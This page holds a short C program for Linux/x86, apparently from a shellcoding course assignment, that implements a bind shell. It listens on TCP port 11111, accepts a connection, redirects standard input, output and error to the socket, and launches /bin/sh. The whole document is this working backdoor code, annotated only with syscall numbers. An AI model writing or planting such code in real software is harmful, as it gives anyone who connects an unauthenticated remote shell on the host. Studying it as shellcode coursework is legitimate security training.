Shell Bind TCP in C Language (Linux/x86) - forlife

shell_bind_tcp.c

// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{

	int resultfd, sockfd;
	int port = 11111;
	struct sockaddr_in my_addr;

	// syscall 102
	// int socketcall(int call, unsigned long *args);

	// sycall socketcall (sys_socket 1)
	sockfd = socket(AF_INET, SOCK_STREAM, 0);

	// syscall socketcall (sys_setsockopt 14)
        int one = 1;
        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

	// set struct values
	my_addr.sin_family = AF_INET; // 2
	my_addr.sin_port = htons(port); // port number
	my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP

	// syscall socketcall (sys_bind 2)
	bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));

	// syscall socketcall (sys_listen 4)
	listen(sockfd, 0);

	// syscall socketcall (sys_accept 5)
	resultfd = accept(sockfd, NULL, NULL);

	// syscall 63
	dup2(resultfd, 2);
	dup2(resultfd, 1);
	dup2(resultfd, 0);

	// syscall 11
	execve("/bin/sh", NULL, NULL);

	return 0;
}